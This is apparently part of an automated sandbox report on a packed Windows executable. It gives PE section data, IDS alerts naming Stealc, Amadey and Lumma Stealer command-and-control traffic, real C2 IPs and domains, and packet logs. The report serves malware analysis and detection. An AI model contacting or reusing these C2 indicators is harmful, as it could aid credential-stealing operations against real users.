IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	104414aa23d7c928668f0544821b19b4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x296000	0x200	e6cc040f74e29d404d6b5cb275a207de	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
guahhyfc	0x4e2000	0x194000	0x193a00	3f0677e6c4b6ac7d34355e1c79fd8fd3	False	0.9945731069990709	data	7.953245041025281	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tjntcrwt	0x676000	0x1000	0x600	abd430fdab9a2d18756cd7ef1ce4fe3a	False	0.5729166666666666	data	4.9956676207670085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x677000	0x3000	0x2200	ea84c492d714db853a1b232bfd803564	False	0.07892922794117647	DOS executable (COM)	0.7812220058267637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T02:13:04.262778+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49732	185.215.113.206	80	TCP
2024-11-12T02:13:04.557609+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49732	185.215.113.206	80	TCP
2024-11-12T02:13:04.564038+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49732	TCP
2024-11-12T02:13:04.852113+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49732	185.215.113.206	80	TCP
2024-11-12T02:13:04.858682+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49732	TCP
2024-11-12T02:13:05.979319+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49732	185.215.113.206	80	TCP
2024-11-12T02:13:06.503829+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	185.215.113.206	80	TCP
2024-11-12T02:13:20.602627+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.4	49756	TCP
2024-11-12T02:13:22.662434+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:24.521750+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:25.780240+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:26.821868+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:29.618243+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:30.260431+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49755	185.215.113.206	80	TCP
2024-11-12T02:13:34.155331+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49763	185.215.113.16	80	TCP
2024-11-12T02:13:51.366268+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49765	185.215.113.43	80	TCP
2024-11-12T02:13:54.823463+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49767	185.215.113.16	80	TCP
2024-11-12T02:13:58.983544+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	60377	1.1.1.1	53	UDP
2024-11-12T02:13:59.013037+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	50943	1.1.1.1	53	UDP
2024-11-12T02:13:59.039550+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	57024	1.1.1.1	53	UDP
2024-11-12T02:13:59.065890+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	56653	1.1.1.1	53	UDP
2024-11-12T02:13:59.103735+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	50079	1.1.1.1	53	UDP
2024-11-12T02:13:59.130153+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.4	49435	1.1.1.1	53	UDP
2024-11-12T02:13:59.156459+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.4	58493	1.1.1.1	53	UDP
2024-11-12T02:13:59.183058+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.4	56405	1.1.1.1	53	UDP
2024-11-12T02:13:59.391891+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.4	49768	TCP
2024-11-12T02:13:59.725116+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49766	TCP
2024-11-12T02:14:00.112580+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49769	23.197.127.21	443	TCP
2024-11-12T02:14:00.640670+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49771	185.215.113.43	80	TCP
2024-11-12T02:14:00.817126+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49769	23.197.127.21	443	TCP
2024-11-12T02:14:01.601930+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49772	185.215.113.16	80	TCP
2024-11-12T02:14:01.654785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49778	188.114.97.3	443	TCP
2024-11-12T02:14:06.544138+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49800	185.215.113.43	80	TCP
2024-11-12T02:14:07.376664+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49805	185.215.113.206	80	TCP
2024-11-12T02:14:10.613006+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49823	185.215.113.43	80	TCP
2024-11-12T02:14:11.338012+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	63110	1.1.1.1	53	UDP
2024-11-12T02:14:11.367670+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	64789	1.1.1.1	53	UDP
2024-11-12T02:14:11.376719+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	60936	1.1.1.1	53	UDP
2024-11-12T02:14:11.403456+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	49546	1.1.1.1	53	UDP
2024-11-12T02:14:11.430070+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	61205	1.1.1.1	53	UDP
2024-11-12T02:14:11.457383+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.4	57732	1.1.1.1	53	UDP
2024-11-12T02:14:11.485346+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.4	58400	1.1.1.1	53	UDP
2024-11-12T02:14:11.522389+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.4	62058	1.1.1.1	53	UDP
2024-11-12T02:14:11.969709+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49829	185.215.113.16	80	TCP
2024-11-12T02:14:12.410341+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49835	23.197.127.21	443	TCP
2024-11-12T02:14:13.088764+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49835	23.197.127.21	443	TCP
2024-11-12T02:14:13.443216+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49778	188.114.97.3	443	TCP
2024-11-12T02:14:13.443216+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49778	188.114.97.3	443	TCP
2024-11-12T02:14:13.785709+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49845	188.114.97.3	443	TCP
2024-11-12T02:14:14.100491+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49847	188.114.97.3	443	TCP
2024-11-12T02:14:17.697577+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49864	185.215.113.43	80	TCP
2024-11-12T02:14:21.840424+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49886	185.215.113.206	80	TCP
2024-11-12T02:14:24.127295+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49899	49.12.130.36	443	TCP
2024-11-12T02:14:27.974713+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49893	TCP
2024-11-12T02:14:28.891429+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.4	49928	185.215.113.43	80	TCP
2024-11-12T02:14:36.258569+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	52154	1.1.1.1	53	UDP
2024-11-12T02:14:36.290115+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	64786	1.1.1.1	53	UDP
2024-11-12T02:14:36.317031+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	56494	1.1.1.1	53	UDP
2024-11-12T02:14:36.344501+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	59881	1.1.1.1	53	UDP
2024-11-12T02:14:36.370596+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	60769	1.1.1.1	53	UDP
2024-11-12T02:14:36.399126+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.4	56391	1.1.1.1	53	UDP
2024-11-12T02:14:36.435089+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.4	60837	1.1.1.1	53	UDP
2024-11-12T02:14:36.461079+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.4	62876	1.1.1.1	53	UDP
2024-11-12T02:14:37.360268+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49976	23.197.127.21	443	TCP
2024-11-12T02:14:37.985865+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49976	23.197.127.21	443	TCP
2024-11-12T02:14:38.702477+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49983	188.114.97.3	443	TCP
2024-11-12T02:14:38.980077+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49847	188.114.97.3	443	TCP
2024-11-12T02:14:38.980077+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49847	188.114.97.3	443	TCP
2024-11-12T02:14:41.022906+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49983	188.114.97.3	443	TCP
2024-11-12T02:14:41.022906+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49983	188.114.97.3	443	TCP
2024-11-12T02:14:41.765012+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50001	188.114.97.3	443	TCP
2024-11-12T02:14:43.315187+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49845	188.114.97.3	443	TCP
2024-11-12T02:14:43.315187+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49845	188.114.97.3	443	TCP
2024-11-12T02:14:44.329236+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50001	188.114.97.3	443	TCP
2024-11-12T02:14:44.329236+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50001	188.114.97.3	443	TCP
2024-11-12T02:14:45.611046+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50023	188.114.97.3	443	TCP
2024-11-12T02:14:46.592239+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50025	185.215.113.206	80	TCP
2024-11-12T02:14:49.094675+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50023	188.114.97.3	443	TCP
2024-11-12T02:14:50.191977+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50052	188.114.97.3	443	TCP
2024-11-12T02:14:52.349828+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50064	188.114.97.3	443	TCP
2024-11-12T02:14:54.872183+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50070	188.114.97.3	443	TCP
2024-11-12T02:14:56.996791+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50072	188.114.97.3	443	TCP
2024-11-12T02:15:36.967614+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50089	188.114.97.3	443	TCP
2024-11-12T02:15:40.235046+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50089	188.114.97.3	443	TCP
2024-11-12T02:17:54.650909+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50145	20.189.173.10	443	TCP
2024-11-12T02:19:16.532518+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50178	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 02:12:55.872817993 CET	49675	443	192.168.2.4	173.222.162.32
Nov 12, 2024 02:13:03.023328066 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:03.028232098 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:03.028335094 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:03.028444052 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:03.033282042 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:03.956825018 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:03.956929922 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:03.959467888 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:03.964379072 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.262605906 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.262778044 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.264656067 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.269498110 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.557512999 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.557527065 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.557537079 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.557609081 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.557758093 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.558749914 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.564038038 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.852029085 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.852045059 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.852061033 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.852113008 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.852135897 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.852147102 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.852154016 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.852174044 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.852183104 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.852188110 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.852200031 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.852204084 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.852222919 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.852242947 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.852643013 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:04.852690935 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.853905916 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:04.858681917 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:05.146312952 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:05.146390915 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:05.163239956 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:05.163321018 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:05.168054104 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:05.168083906 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:05.168096066 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:05.168114901 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:05.168123960 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:05.168282032 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:05.168303013 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:05.482114077 CET	49675	443	192.168.2.4	173.222.162.32
Nov 12, 2024 02:13:05.979082108 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:05.979319096 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.212901115 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.217747927 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.503624916 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.503639936 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.503650904 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.503655910 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.503774881 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.503824949 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.503829002 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.503840923 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.503854036 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.503859043 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.503865004 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.503879070 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.503901005 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.503921986 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.504571915 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.504584074 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.504647970 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.504704952 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.504774094 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.504785061 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.504793882 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.504887104 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.504887104 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.504887104 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.671798944 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.671816111 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.671825886 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.671926975 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.671943903 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.671955109 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.671988964 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.671992064 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.672048092 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.672390938 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.672403097 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.672415018 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.672425032 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.672450066 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.672471046 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.672810078 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.672863007 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.672871113 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.672888994 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.672933102 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.672945023 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.789125919 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.789150953 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.789165974 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.789182901 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.789194107 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.789206982 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.789211988 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.789213896 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.789227009 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.789233923 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.789247036 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.789248943 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.789297104 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.789944887 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.790004969 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.790013075 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.790055990 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.905998945 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906012058 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906023979 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906035900 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906048059 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906058073 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.906084061 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.906119108 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.906325102 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906339884 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906352043 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906368971 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906374931 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.906383038 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906394958 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.906399012 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.906433105 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.906447887 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.907066107 CET	80	49732	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:06.907119036 CET	49732	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:06.907138109 CET	80	49732	185.215.113.206	192.168.2.4
